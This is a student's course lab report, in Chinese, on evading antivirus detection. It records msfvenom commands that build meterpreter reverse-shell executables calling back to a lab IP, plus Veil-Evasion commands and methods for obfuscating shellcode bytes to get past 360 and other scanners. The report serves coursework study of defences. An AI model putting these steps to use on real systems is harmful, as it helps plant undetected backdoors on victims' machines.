20145208 蔡野 《网络攻防》 免杀原理与实践

20145208 蔡野 《网络攻防》 免杀原理与实践

实践内容:

  • (1)理解免杀技术原理(1分)
  • (2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(2分)
  • (3)通过组合应用各种技术实现恶意代码免杀(1分)
  • (4)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

报告内容:

1.基础问题回答

  • (1)杀软是如何检测出恶意代码的?

    • 根据特征来检测:恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
    • 根据行为来检测:如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码,有时候不是恶意代码的程序也会把查杀,因为这些程序做了一些计算机认为不安全的事情,比较常见的就是各自破解补丁或者游戏外挂等。
  • (2)免杀是做什么?

    • 免杀顾名思义就是免除计算机杀软的查杀。
    • 通过一些手段来瞒过杀软的检测扫描。
  • (3)免杀的基本方法有哪些?

    • 加花指令:就是加入一些花里胡哨的指令来迷惑杀软,让杀软检测不到特征码,比如+1,-1,*1,/1什么的,但是一些厉害的杀软还可以看破这些。
    • 加壳:就是给含有恶意代码的程序加一个外包装,让杀软不知道里面装的是什么。但是这种方法逃不过内存查杀,一运行起来就会露出马脚。
    • 修改特征码:就是在不影响程序功能的情况下,将杀软检测的那一段特征码改一下,从而瞒过杀软的检测。当然修改特征码不是一个容易的事情,但是却是唯一可以躲过内存查杀的办法。

2.实践总结与体会

  • 感觉整个实验一步步的摸索很有意义,让自己了解到一个后门是如何做到免杀效果的,往往那些知名的软件生成的后门程序都不能免杀,因为他们的知名度在那里,杀软公司肯定要去防范它,相反自己半手工做的后门就有很强的免杀能力,尤其是在实验中,加壳的方式几乎是成功不了的,因为这些壳对杀软来说通常有备份,同类编码也是一样,最有效的还是对特征码的加工,换个位置或者加个密什么的都可以瞒过杀软。
  • 当实验成功的时候,更多的还是惊讶,觉得杀软就这么被骗过去了,我的电脑就这么被装上后门了,看了自己的电脑的环境真的很不安全,想要防范外来攻击,单靠杀软是不够的。

3.离实战还缺些什么技术或步骤?

  • 最明显的就是怎么让靶机得到这个后门程序,这就需要把这个后门程序绑定伪装到一些其他程序中的手段来让后门程序得以进入到靶机。
  • 其次是主机也就是控制端需要一个稳定的ip地址来监听靶机。
  • 还有就是靶机如果缺乏程序运行环境(如缺少一些库文件),所以还需要让后门程序可以不用依赖靶机内的库运行,这样会增加后门程序的一定大小。

4.实践过程记录

  • 测试网址我用的是这个

msfvenom直接生成meterpreter可执行文件

  • 直接使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.180 PORT=208 -f exe > test_20145208.exe生成可执行文件然后提交到检测网站进行检测(结果很悲剧,名字居然提示我学号是带违法、广告,还能说什么呢凸= =):

  • 然后,改了名字也没什么用,大多数杀软都给查出来恶意代码了:

Msfvenom使用编码器生成可执行文件

  • 理论上多编码几次总可以达到免杀的效果,嗯,只是理论,现实是没什么区别,大多数杀软公司都很关注编码算法这一块,所以你编码了也在人家查杀范围内。
  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.1.180 LPORT=208 -f exe > 5208-encoded.exe来生成编码的可执行文件然后上传:

  • 嗯……也还是没多大效果哈,试试多编码几次,试试八次,就在指令里面加上-i 8

  • 依旧提升的幅度很小,所以编码的方法还是不够免杀。

Veil-Evasion生成可执行文件

  • 老师kali里面自带了这个软件,命令行直接输入veil-evasion打开软件:(没安装的可以在在Kalil软件库中找一些安装,我是没找直接用的老师的,找不到也可以在线安装一下sudo apt-get install veil-evasion
  • 然后在menu里面输入以下命令来生成可执行文件:
use python/meterpreter/rev_tcp
set LHOST 192.168.1.180
generate
5208-winmine
1
  • 成功之后有如下样子,生成的文件放在图中指示目录:

  • 嗯,它上面还说什么别把这个传上网上扫描什么的,为了测试没办法,上传了!

  • 这回显著提升了免杀率,而且里面提示360没有检测到恶意代码,那么现在可以试试把现在做的几个恶意代码传到主机里面看看。

  • 怎么说呢……全军覆没吧。看来测试网站的结果也不是准确的,这些杀软也都没有将自己的手段都公开。我看到有些学长学姐的成功了,但是是360安全卫士的查杀没查到,但我这里360杀毒依旧查到了,看来360安全卫士比360杀毒要不安全。

C语言调用Shellcode

  • 先使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.180 LPORT=208 -f c生成一个c语言格式的Shellcode数组:

  • 然后用这个数组来编写一个程序,这里我用的是win10下的VS2015:

  • 但是,比较悲剧了,虽然测试效果不错,还是被查杀了:

  • 这么一看,360安全卫士也是靠谱的……刚才冤枉它了,那么我猜测可能是我生成后门的软件版本不够高所以落伍了。

更新最新版本的Veil-Evasion试试

  • 升级了之后发现没什么变化,所以应该和版本关系不大:

试着加密特征码

  • 对数组特征码部分进行一个简单的加法操作,为了避免杀软根据数组值直接的差来判断特征码,所以每个数据加的值是i%15,这样存在变化可能效果好一点:

  • 免杀效果大大加强,只有两个报毒。

  • 放在window10系统中在360杀毒防护的保护下没有被查杀:

  • 但是发现运行之后失去了效果,所以猜测一方面是加减法会导致补码格式出现,一方面仍然报毒的两个杀软不只是根据特征码报毒,也对call或者其他敏感行为报毒。

  • 所以换一种加密形式,选择换位置的方法就成功了:

原文地址:https://www.cnblogs.com/20145208cy/p/6567534.html